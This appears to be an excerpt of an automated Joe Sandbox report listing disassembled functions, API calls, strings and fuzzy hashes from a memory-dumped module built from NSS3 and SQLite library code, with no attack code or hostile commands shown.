PR_ExplodeTime.NSS3(00000000,6C5A1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C5A1C6F,00000000,00000004,?,?), ref: 6C5F6C94

Strings

gfff, xrefs: 6C5F6D30
gfff, xrefs: 6C5F6D66
gfff, xrefs: 6C5F6CFD
gfff, xrefs: 6C5F6D9C
gfff, xrefs: 6C5F6CF5

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 67833f817f1f0361294f254690c2a0c22a414f38dd72f47b14a9aabfca02760c
Instruction ID: f020e1ac25fde6a61451c745d83258b696ceddd4b233757505d93e1040a04402
Opcode Fuzzy Hash: 67833f817f1f0361294f254690c2a0c22a414f38dd72f47b14a9aabfca02760c
Instruction Fuzzy Hash: 49513C72B016494FC70CCDADDC626DABBDA9BE4310F48C23AE442DB781DA78D906C751

Function 6C670F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C671027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6710B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C671353

Strings

%02x, xrefs: 6C6712F6
-- , xrefs: 6C670FF5
zeroblob(%d), xrefs: 6C671223
'%.*q', xrefs: 6C671217, 6C671292
%lld, xrefs: 6C67114B
NULL, xrefs: 6C67119E
$, xrefs: 6C6712A0

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 7906385e054ef2b622872cf0d1050bb821222faa36a1336009b0063e2a84fb74
Instruction ID: c4822a055ab390f2f92730cc7109253b584a99e95cea9bbf3acbe995c80ae58a
Opcode Fuzzy Hash: 7906385e054ef2b622872cf0d1050bb821222faa36a1336009b0063e2a84fb74
Instruction Fuzzy Hash: C8E1AF71908340DFD720CF14C890AABBBF1AF86358F148D1EE9998BB51E771E845CB66

Function 6C678FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C678FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6790DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C679118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C67915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6791C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C679209

Strings

UUUU, xrefs: 6C679255
3333, xrefs: 6C67925E

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 70f5bdb04e8338f8727fb21057b5617e0d6f40a72be20a95324876faebf86d45
Instruction ID: b4c2d2dc71742ad88ab336cdefafc28177d34a1cf6c59e52ea6cd0023e4a19d6
Opcode Fuzzy Hash: 70f5bdb04e8338f8727fb21057b5617e0d6f40a72be20a95324876faebf86d45
Instruction Fuzzy Hash: 83A1CE72E001159BDB18CB68CC95BEEB7F5BF89328F094168E915B7341E736AC11CBA4

Function 6C60BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C60BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C60BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C60BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C60BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C60BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C60BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C60BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C60BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C60BE1E

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 74e51e9d0e222dbd77700cfe803cf0df00b326b183f0ec3be0c7d02e682daf4a
Instruction ID: 8788c94e95b78f71fe6bc605a1859756e82dd534f525ed779cd3765b2a9bdc84
Opcode Fuzzy Hash: 74e51e9d0e222dbd77700cfe803cf0df00b326b183f0ec3be0c7d02e682daf4a
Instruction Fuzzy Hash: 7F21E376F0068957FB044A53AE46F8B73B49BD2B8DF084024F916BE681E3509418C2AE

Function 6C6B8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7014E4,6C66CC70), ref: 6C6B8D47
PR_GetCurrentThread.NSS3 ref: 6C6B8D98

Part of subcall function 6C590F00: PR_GetPageSize.NSS3(6C590936,FFFFE8AE,?,6C5216B7,00000000,?,6C590936,00000000,?,6C52204A), ref: 6C590F1B
Part of subcall function 6C590F00: PR_NewLogModule.NSS3(clock,6C590936,FFFFE8AE,?,6C5216B7,00000000,?,6C590936,00000000,?,6C52204A), ref: 6C590F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C6B8E7B
htons.WSOCK32(?), ref: 6C6B8EDB
PR_GetCurrentThread.NSS3 ref: 6C6B8F99
PR_GetCurrentThread.NSS3 ref: 6C6B910A

Strings

%u.%u.%u.%u, xrefs: 6C6B8E74

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: e28ef4d420b64be7b70f8de34879f65e6834df93a674dc27caf123bcdd3ff5e1
Instruction ID: e921386ddbbd3962b5d28853a2c36d4b4344a62d150ad6c65716888a5861c22e
Opcode Fuzzy Hash: e28ef4d420b64be7b70f8de34879f65e6834df93a674dc27caf123bcdd3ff5e1
Instruction Fuzzy Hash: B702BB319062528FDB14CF19C4583A6BBB3EF5730CF1A825ED8956FAA1C331D925C794

Function 6C53EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

not authorized, xrefs: 6C53F957, 6C53F9BA
%s %T already exists, xrefs: 6C53FAC8
authorizer malfunction, xrefs: 6C53F95C, 6C53F9BF, 6C53FA5E, 6C53FA8B
there is already an index named %s, xrefs: 6C53F9D7
temporary table name must be unqualified, xrefs: 6C53F734
view, xrefs: 6C53F061, 6C53F071, 6C53FAB7
table, xrefs: 6C53F05C, 6C53FABC, 6C53FAC7
sqlite_master, xrefs: 6C53F0AB, 6C53F2DA, 6C53F757, 6C53F93E
sqlite_temp_master, xrefs: 6C53F0A6, 6C53F2D5

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 4526218e79ed842e8db6623b28315b34b6b69758bd76fc75a51efeac8ca5b10e
Instruction ID: c71499d35a6dfe75b07d843bbd81a8810e85ee81588c20e612f9dee2d6221fa1
Opcode Fuzzy Hash: 4526218e79ed842e8db6623b28315b34b6b69758bd76fc75a51efeac8ca5b10e
Instruction Fuzzy Hash: 7472B270E04215CFDB14CF68C884BA9BBF1BF89308F1592ADD8199B752E775E845CB90

Function 6C659C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C52C52B), ref: 6C659D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C65A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C65A114

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C65A01F, 6C65A0E4, 6C65A0FE
database corruption, xrefs: 6C65A029, 6C65A108
%s at line %d of [%.10s], xrefs: 6C65A02E, 6C65A10D

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: c21f5f60334f071a5b00de2a4dcfddfe2e00e2f4f81665d0df82d1eefa75e631
Instruction ID: 27288e1f21a376bd2e864af6acf64ace8ad4bdf0d9c15696b15c65bb28e09606
Opcode Fuzzy Hash: c21f5f60334f071a5b00de2a4dcfddfe2e00e2f4f81665d0df82d1eefa75e631
Instruction Fuzzy Hash: 1022D07060C7418FC704CF29C49066AB7E1BFCA348FA48A2DE9DA97642D731D856CB5A

Function 6C679D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C538637,?,?), ref: 6C679E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C538637), ref: 6C679ED6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C679EC0
database corruption, xrefs: 6C679ECA
%s at line %d of [%.10s], xrefs: 6C679ECF

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: ec1cf0cad3aa0ff7c392398078a71f0efcf011bfa8bf5d66ac0e2891dfbf2742
Instruction ID: 3961b7f499d5c1cf9b5a94ac546b91a428b7b59b38484617b04870829d4265b4
Opcode Fuzzy Hash: ec1cf0cad3aa0ff7c392398078a71f0efcf011bfa8bf5d66ac0e2891dfbf2742
Instruction Fuzzy Hash: A581D631B012058FCB14CF6AC980ADEB7F6EF89308F148929E915AB741E731ED45CB68

Function 6C687F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C6881BC

Strings

out of memory, xrefs: 6C68835B
BINARY, xrefs: 6C688126

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 5a5176dc28201b66530e2845f6cfba55325da37c3e9b0167ac7ea288f8a11a8d
Instruction ID: 35649ed460d387932a242f6d6ec62ae6769674711f705f8a86a03939f5c3a330
Opcode Fuzzy Hash: 5a5176dc28201b66530e2845f6cfba55325da37c3e9b0167ac7ea288f8a11a8d
Instruction Fuzzy Hash: F752C171E06218DFDB14CF99C890BDDBBB2FF49308F14815AD855AB761D730A846CBA8

Function 6C609EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C609ED6

Part of subcall function 6C6014C0: TlsGetValue.KERNEL32 ref: 6C6014E0
Part of subcall function 6C6014C0: EnterCriticalSection.KERNEL32 ref: 6C6014F5
Part of subcall function 6C6014C0: PR_Unlock.NSS3 ref: 6C60150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C609EE4

Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C6010F3
Part of subcall function 6C6010C0: EnterCriticalSection.KERNEL32(?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60110C
Part of subcall function 6C6010C0: PL_ArenaAllocate.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601141
Part of subcall function 6C6010C0: PR_Unlock.NSS3(?,?,?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C601182
Part of subcall function 6C6010C0: TlsGetValue.KERNEL32(?,6C5A8802,00000000,00000008,?,6C59EF74,00000000), ref: 6C60119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C609F38

Part of subcall function 6C60D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6C609F0B), ref: 6C60D03B
Part of subcall function 6C60D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C60D04E
Part of subcall function 6C60D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6C60D07B
Part of subcall function 6C60D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6C60D08E
Part of subcall function 6C60D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C60D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C609F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6C609F59

Part of subcall function 6C609D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C609C5B), ref: 6C609D82
Part of subcall function 6C609D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C609C5B), ref: 6C609DA9
Part of subcall function 6C609D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C609C5B), ref: 6C609DCE
Part of subcall function 6C609D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C609C5B), ref: 6C609E43

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 7056f995e2011e928ae7102999403c56b2c87008616075db71ac6bf36d78ee78
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: DD112BB5F042015BF7149B659D00B9BB395AF9534CF144234F90AAB780FB61E918C29E

Function 6C6BCDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6BD086
PR_Malloc.NSS3(00000001), ref: 6C6BD0B9
PR_Free.NSS3(?), ref: 6C6BD138

Strings

>, xrefs: 6C6BCF5B

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 2658ba760eb3cff6b280ae6aad08cde1fd60834b559732f38acce713ee374c0e
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 6DD16B62B455464FEB14487C8CA13EA77938783378F584329D522BFBE9E6398963C30D

Function 6C53AC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlock, xrefs: 6C53AE18
winUnlockReadLock, xrefs: 6C53AE9F
Pkl, xrefs: 6C53ADDB, 6C53ADF5, 6C53AE6A
0kl, xrefs: 6C53ACC0, 6C53AD22, 6C53AD5E, 6C53AE45
pkl, xrefs: 6C53ADA7

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID:
String ID: 0kl$Pkl$pkl$winUnlock$winUnlockReadLock
API String ID: 0-1038035488
Opcode ID: 06c13ab2aa3ccb41f2adc8afe4c419d47777d73bb9e0f8ebfdbada887a471ce1
Instruction ID: 5775207ee16f2230e1c0e9469c70794fec81b291a3367507c2da9b04438bddd2
Opcode Fuzzy Hash: 06c13ab2aa3ccb41f2adc8afe4c419d47777d73bb9e0f8ebfdbada887a471ce1
Instruction Fuzzy Hash: 0E7190706083049FDB04CF29E884AAABBF5FF89314F14CA1DF95997241EB30A985CBD5

Function 6C65AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6eef25017dea92f9550db25b3d550aed64f83ef58ed5688878378f456d7e591
Instruction ID: 3230890c44d72cdefa34e3057c0e8407022c3448d3ad690b0883e5031226e106
Opcode Fuzzy Hash: b6eef25017dea92f9550db25b3d550aed64f83ef58ed5688878378f456d7e591
Instruction Fuzzy Hash: 29F114B1F012158FDB04CF29D8843A97BF2AB8A308F65423DC921D7754EB749961CBD9

Function 6C64DFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C525001,?,00000003,00000000), ref: 6C64DFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6C525001,?), ref: 6C64E2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6C525001,?), ref: 6C64E2DA

Strings

W, xrefs: 6C64E111

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: 0828136bd935ed5acb986ec4be38e53d9a41afce1a2cce9d6b2b91f6e030e027
Instruction ID: be127f95037556fb8f6f8a21a6514874dc130be69e58ef8d84bff6b3f98b51b3
Opcode Fuzzy Hash: 0828136bd935ed5acb986ec4be38e53d9a41afce1a2cce9d6b2b91f6e030e027
Instruction Fuzzy Hash: 28C11831B48655CBDB05CF2984906EAF7B2BF86308F18C1B9DD699BB41D7319811C7D8

Function 6C610E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C611052
